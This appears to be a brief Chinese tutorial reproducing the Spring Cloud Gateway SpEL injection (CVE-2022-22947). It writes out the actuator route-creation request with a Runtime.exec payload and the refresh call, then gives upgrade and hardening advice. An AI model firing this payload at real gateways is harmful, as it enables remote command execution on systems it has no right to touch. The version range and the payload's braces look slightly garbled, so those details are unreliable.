Spring-Cloud-Gateway-SpEL-RCE复现

Spring Cloud Gateway SpEL RCE 复现(CVE-2022-22947):Postman 头注入、SpEL 表达式、RCE 利用、防御加固。

写在前面:合法学习边界

Spring Cloud Gateway 攻击只在授权测试环境进行。

一、SpEL RCE 利用链

Spring Cloud Gateway SpEL 注入
1
① 发现 Gateway → ② 确认版本 → ③ SpEL 注入 → ④ Runtime.exec() → ⑤ RCE

二、漏洞信息

1
2
3
4
CVE-2022-22947
影响:Spring Cloud Gateway 3.1.0~3.1.0 / 3.0.0~3.0.7
入口:POST /actuator/gateway/routes/{id}
类型:SpEL 表达式注入

三、利用步骤

1
2
3
4
POST /actuator/gateway/routes/exploit
Content-Type: application/json
{"id":"exploit","filters":[{"name":"AddRequestHeader","args":{"name":"X-Test","value":"#{T(java.lang.Runtime).getRuntime().exec('whoami')}}"}}]}
POST /actuator/gateway/refresh

四、防御加固

1
2
3
升级到 Spring Cloud Gateway 3.1.1+
关闭 /actuator/gateway/* 端点
WAF 拦截 SpEL 表达式

五、小结

SpEL 注入是 Spring Cloud Gateway 的高危漏洞。防御核心是升级版本 + 关闭 Actuator 端点